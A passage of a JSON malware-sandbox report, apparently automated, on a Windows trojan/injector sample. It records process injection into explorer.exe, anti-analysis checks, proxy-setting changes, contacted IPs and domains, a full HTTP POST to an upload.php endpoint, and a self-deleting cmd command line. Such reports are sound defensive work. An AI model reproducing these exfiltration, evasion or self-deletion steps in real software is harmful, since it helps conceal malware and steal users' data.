\"http://gmail.com/upload.php\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"\" opened \"\\Device\\KsecDD\"","origin":"API Call","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"Exe.bin\" was detected as \"Microsoft Visual C++ 8\"\n \"aythilo.dll\" was detected as \"Visual C++ 2005 DLL -> Microsoft\"","origin":"Static Parser","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries kernel debugger information","description":"\"\" at 00018362-00002092-00000105-55943464","origin":"API Call","relevance":6,"id":"api-10","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Anti-Detection/Stealthyness","name":"Queries process information","description":"\"\" queried SystemProcessInformation at 00018362-00002092-00000105-44830637\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45038398\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45052199\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45069277\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45083898\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45108880\n \"\" queried SystemProcessInformation at 00018362-00002092-00000105-45123017","origin":"API Call","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".rsrc with unusual entropies 7.42584958871","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to implement anti-virtualization techniques","description":"\"multiprocessing others' century VMware's.\" (Indicator: \"vmware\")","origin":"File/Memory","relevance":4,"id":"string-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"External Systems","name":"Detected Emerging Threats Alert","description":"Detected alert \"ET DNS Query to a *.pw domain - Likely Hostile\" (SID: 2016778, Rev: 4, Severity: 2) categorized as \"Potentially Bad Traffic\"","origin":"Suricata Alerts","relevance":10,"id":"suricata-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"General","name":"POSTs files to a webserver","description":"$26","origin":"Network Traffic","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"General","name":"Reads configuration files","description":"\"\" read file \"C:\\$Recycle.Bin\\S-1-5-21-4162757579-3804539371-4239455898-1000\\desktop.ini\"\n \"\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Drops executable files","description":"\"aythilo.dll\" has type \"PE32 executable (DLL) (GUI) Intel 80386 for MS Windows\"","origin":"Binary File","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"176.9.81.4\"\n Heuristic match: \"/c ping -n 1 127.0.0.1 && del \"C:\\Exe\" >> NUL\"\n Heuristic match: \"ping -n 1 127.0.0.1\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Checks network status using ping","description":"Process \"PING.EXE\" with commandline \"ping -n 1 127.0.0.1\" (UID: 00024106-00002920)","origin":"Monitored Target","relevance":5,"id":"target-22","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate processes/modules/threads","description":"CreateToolhelp32Snapshot@KERNEL32.DLL at 00018362-00002092-3925-60-0040121E\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00018362-00002092-3925-610-00403398\n CreateToolhelp32Snapshot@KERNEL32.DLL at 00018362-00002092-10542-60-0040121E","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-20","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"aythilo.dll\" claimed CRC 135205 while the actual is CRC 401554","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateToolhelp32Snapshot\n GetFileAttributesA\n GetVersionExW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryA\n DeleteFileA\n UnhandledExceptionFilter\n GetCommandLineA\n GetProcAddress\n GetModuleFileNameW\n GetModuleHandleA\n WriteFile\n GetStartupInfoA\n GetModuleHandleW\n TerminateProcess\n Sleep\n CreateFileA\n GetTickCount\n VirtualAlloc\n FindWindowA\n GetWindowThreadProcessId\n FindWindowExA\n FindWindowExW\n InternetConnectA\n InternetOpenA\n FtpOpenFileA\n CreateFileMoniker\n RegCloseKey\n RegOpenKeyExW\n GetStartupInfoW\n LoadLibraryW\n recv (Ordinal #16)\n connect (Ordinal #4)\n socket (Ordinal #23)\n send (Ordinal #19)\n closesocket (Ordinal #3)\n WSAStartup (Ordinal #115)","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$27","origin":"Hook Detection","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SLIST\")\n \"\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SDECIMAL\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"Environment Awareness","name":"Reads the system/video BIOS version","description":"\"\" (Path: \"HKLM\\HARDWARE\\DESCRIPTION\\SYSTEM\"; Key: \"VIDEOBIOSVERSION\")","origin":"Registry Access","relevance":9,"id":"registry-6","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/48 Antivirus vendors marked sample as malicious (8% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"17/80 Antivirus vendors marked dropped file \"aythilo.dll\" as malicious (classified as \"Trojan.Agent\" with 21% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into explorer","description":"Injected into \"explorer.exe\" (UID: 00025241-00001960)","origin":"Monitored Target","relevance":5,"id":"target-20","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"Installation/Persistance","name":"Injects into remote processes","description":"Injected into \"explorer.exe\" at 2017-1-27.03:07:00.861 (UID: 00025241-00001960)","origin":"Monitored Target","relevance":6,"id":"target-0","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"Found malicious artifacts related to \"185.121.177.177\" (ASN: , Owner: ): ...\nFile SHA256: 3f73b09d9cdd100929061d8590ef0bc01b47999f47fa024f57c28dcd660e7c22 (AV positives: 4/55 scanned on 01/27/2017 09:46:11)\n File SHA256: ca64848f4c090846a94e0d128489b80b452e8c89c48e16a149d73ffe58b6b111 (AV positives: 10/55 scanned on 01/09/2017 22:19:31)\n File SHA256: b3f371cc899440583095bac2817fba2ae2c7c3cac9c121d0798e03730589ad33 (AV positives: 37/56 scanned on 12/27/2016 02:55:55)\n File SHA256: 1f376d4c4febcafa6bdcf8877121c20697046c15f71983a9210762fbf3b5455e (AV positives: 4/56 scanned on 11/24/2016 08:29:57)\n File SHA256: b01756a3f4b8d687a9fce4301f5f56b4dfb7befe29550096b262935f63f02cc4 (AV positives: 6/56 scanned on 11/18/2016 07:52:57)","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"Spawned process \"\" (UID: 00018362-00002092)\n Spawned process \"cmd.exe\" with commandline \"/c ping -n 1 127.0.0.1 && del \"C:\\Exe\" >> NUL\" (UID: 00024079-00002892)\n Spawned process \"PING.EXE\" with commandline \"ping -n 1 127.0.0.1\" (UID: 00024106-00002920)\n Spawned process \"svchost.exe\" (UID: 00024815-00003076)\n Spawned process \"svchost.exe\" (UID: 00024996-00003108)\n Spawned process \"svchost.exe\" (UID: 00025233-00003152)","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Injects into remote processes"},{"detail":"Spawns a lot of processes"},{"detail":"Injects into explorer"}],"sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the system/video BIOS version"},{"detail":"Reads the active computer name"}],"sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 3 domains and 3 hosts"}],"sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}]},"activity":{"stats":{"process_count":8,"spawned_processes_count":8,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":81,"dropped_files_count":0,"extracted_files_count":1,"files_written_count":33,"files_deleted_count":0,"registry_keys_created_count":26,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":26,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":3,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":null,"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"588b17f4aac2edd52993c386","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"virtool.win32.injector","contacted_countries":["DEU","ISL"],"submit_name":"Exe","analysis_start_time":"2017-01-27T10:51:32+00:00","indicators_count":{"informative":18,"suspicious":24,"malicious":10},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"176.9.81.4","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"address":"185.121.177.177","port":53,"protocol":"TCP","country":"Iceland","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"address":"178.63.1.41","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"dns_resolutions":[{"domain":"gmail.com","address":"176.9.81.4","country":"Germany","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"domain":"oneindex.bit","country":"-","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"domain":"onechat.pw","address":"176.9.81.4","country":"Germany","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"http_requests":[{"host":"176.9.81.4","host_ip":"176.9.81.4:80","url":"http://gmail.com/upload.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST http://gmail.com/upload.php HTTP/1.1\nUser-Agent: Opera/9.80 (Windows NT 6.1; WOW64) Presto/2.12.388 Version/12.15\nHost: gmail.com\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\nAccept-Language: ru-RU,ru;q=0.9,en;q=0.8\nAccept-Encoding: gzip, deflate\nCookie: UID=63b2a18f7e6d4c3a1907f6d4b3a1963a\nConnection: close\nContent-Length: 771\nContent-Type: multipart/form-data; boundary=----------0b4C4c4C4Db4C5E6E6E6e7","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}],"processes":[{"pid":2092,"ppid":0,"name":"Exe","command_line":"","normalized_path":"C:\\Exe","uid":"00018362-00002092","icon":"$28"},{"pid":2784,"ppid":2092,"name":"rundll32.exe","command_line":"rundll32 \"%WINDIR%\\system32\\aythilo.dll\",SvcMain Oefouxfnav INST","normalized_path":"%WINDIR%\\System32\\rundll32.exe","parent_uid":"00018362-00002092","uid":"00023905-00002784"},{"pid":3076,"ppid":2784,"name":"svchost.exe","command_line":"","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00023905-00002784","uid":"00024815-00003076"},{"pid":3108,"ppid":2784,"name":"svchost.exe","command_line":"","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00023905-00002784","uid":"00024996-00003108"},{"pid":3152,"ppid":2784,"name":"svchost.exe","command_line":"","normalized_path":"%WINDIR%\\System32\\svchost.exe","parent_uid":"00023905-00002784","uid":"00025233-00003152"},{"pid":1960,"ppid":3152,"name":"explorer.exe","command_line":"%WINDIR%\\Explorer.EXE","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00025233-00003152","uid":"00025241-00001960"},{"pid":2892,"ppid":2092,"name":"cmd.exe","command_line":"/c ping -n 1 127.0.0.1 && del \"C:\\Exe\" >> NUL","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00018362-00002092","uid":"00024079-00002892"},{"pid":2920,"ppid":2892,"name":"PING.EXE","command_line":"ping -n 1 127.0.0.1","normalized_path":"%WINDIR%\\System32\\PING.EXE","parent_uid":"00024079-00002892","uid":"00024106-00002920"}],"all_imported_dlls":["aythilo.dll","wtsapi32.dll","wkscli.dll","ntmarta.dll","mswsock.dll","ole32.dll","msasn1.dll","avicap32.dll","srvcli.dll","msacm32.dll","imm32.dll","clbcatq.dll","cscapi.dll","sechost.dll","setupapi.dll","cryptbase.dll","dwmapi.dll","KernelBase.dll","profapi.dll","dnsapi.dll","IPHLPAPI.DLL","lpk.dll","rpcrt4.dll","netutils.dll","rpcss.dll","wbemcomn.dll","iertutil.dll","netapi32.dll","propsys.dll","rsaenh.dll","gdi32.dll","msctf.dll","Wldap32.dll","nsi.dll","wsock32.dll","winnsi.dll","advapi32.dll","wbemprox.dll","MMDevAPI.dll","FWPUCLNT.DLL","WSHTCPIP.DLL","imagehlp.dll","msimg32.dll","avrt.dll","midimap.dll","nlaapi.dll","wintrust.dll","comctl32.dll","crypt32.dll","cfgmgr32.dll","devobj.dll","msvcrt.dll","cryptsp.dll","rasadhlp.dll","ntdll.dll","usp10.dll","comdlg32.dll","shell32.dll","wininet.dll","urlmon.dll","version.dll","uxtheme.dll","kernel32.dll","shlwapi.dll","browcli.dll","NapiNSP.dll","pnrpnsp.dll","apphelp.dll","RpcRtRemote.dll","userenv.dll","winmm.dll","ws2_32.dll","ksuser.dll","winrnr.dll","sspicli.dll","AcLayers.dll","user32.dll","oleaut32.dll","msvfw32.dll","AudioSes.dll","mpr.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"aythilo.dll","sha256":"4ef42a5d1b6ce8d36be91ee7bf422baf3b7a2adc8181af22d23abe3da8fdb502","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"files_written":[{"path":"%WINDIR%\\system32\\en-US\\MSVFW32.dll.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\AVICAP32.dll.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"C:\\$RECYCLE.BIN\\S-1-5-21-4162757579-3804539371-4239455898-1000\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\COMDLG32.dll.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\imaadp32.acm.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\msg711.acm.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\msgsm32.acm.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\msadp32.acm.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\System32\\en-US\\l3codeca.acm.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\MSACM32.dll.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"C:\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\System32\\aythilo.dll","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\PING.EXE.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"\\SystemRoot\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\rundll32.exe","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\en-US\\rundll32.exe.mui","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\system32\\drivers\\etc\\hosts","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"PIPE\\wkssvc","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"PIPE\\samr","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{9C9C1D9A-E45A-41F9-8D98-D3B6EA5D768D}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{72D885C2-0AEC-4510-95D5-BF120A963535}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D0B53124-E232-49FC-9EA9-75FA32C7C6C3}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"C:\\Users\\PSPUBWS","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Themes\\slideshow.ini","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"path":"pipe\\{3D03F508-0000-0000-0000-000000000000}","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\CONTROL\\MEDIARESOURCES\\MSVIDEO\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\MEDIARESOURCES\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\MEDIARESOURCES\\MSVIDEO\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\BITBUCKET\\VOLUME\\{8177F4E5-B53F-11E4-A9C2-806E6F6E6963}\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3G2\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GP\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GP2\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.3GPP\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AAC\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.ADT\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.ADTS\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AIF\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AIFC\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AIFF\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.ASF\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.ASX\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AU\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AU3\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.AVI\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.BMP\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\EXPLORER\\FILEEXTS\\.CAB\\OPENWITHPROGIDS\\","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\MidiMapper_modLongMessage_RefCnt","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"588b17f4aac2edd52993c386"}]},{"name":"